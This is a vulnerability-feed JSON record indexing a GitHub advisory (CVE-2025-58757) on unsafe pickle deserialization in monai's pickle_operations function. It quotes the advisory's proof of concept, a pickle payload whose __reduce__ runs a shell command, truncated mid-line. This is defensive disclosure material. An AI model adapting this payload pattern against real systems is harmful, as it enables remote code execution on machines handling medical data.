{"items":[{"id":"NVI-00018516","kind":"vulnerability","title":"Monai: Unsafe use of Pickle deserialization may lead to RCE","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-p8cm-mm2v-gwjm","CVE-2025-58757"],"plain_summary":"GitHub lists this reviewed advisory for monai. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-3457aa59ffe5dcaccf79de86f7348c16"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-06T00:33:35.000Z","value":"8.8 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-3457aa59ffe5dcaccf79de86f7348c16"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-3457aa59ffe5dcaccf79de86f7348c16","url":"https://github.com/advisories/GHSA-p8cm-mm2v-gwjm","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-p8cm-mm2v-gwjm","publisher":"GitHub Advisory Database","observed_at":"2026-11-07T00:52:42.537Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-3457aa59ffe5dcaccf79de86f7348c16"],"technology":"monai","known_exclusions":[],"conditions_summary":">To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)\n\n### Summary\nThe ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.\n\nWhen verified using the following proof-of-concept, arbitrary code execution can occur.\n```\n#Poc\nfrom monai.data.utils import pickle_operations  \n\nimport pickle  \nimport subprocess  \n  \nclass MaliciousPayload:  \n    def __reduce__(self):    \n        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  \n  \nmalicious_data = pickle.dumps(MaliciousPayload())\n\nattack_data = {  \n    'image': 'normal_image_data',  \n    'label_transforms': malicious_data,  \n    'metadata_transforms': malicious_data  \n}\n\nresult = pickle_opera","public_affected_ranges":["<= 1.5.0"]}],"null_published_at":"2026-11-07T07:07:39.846Z","source_updated_at":"2026-06-06T00:33:35.000Z","source_disclosed_at":"2025-09-09T21:21:23.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-07T00:52:42.537Z"}],"next_cursor":null,"snapshot_revision":"42594"}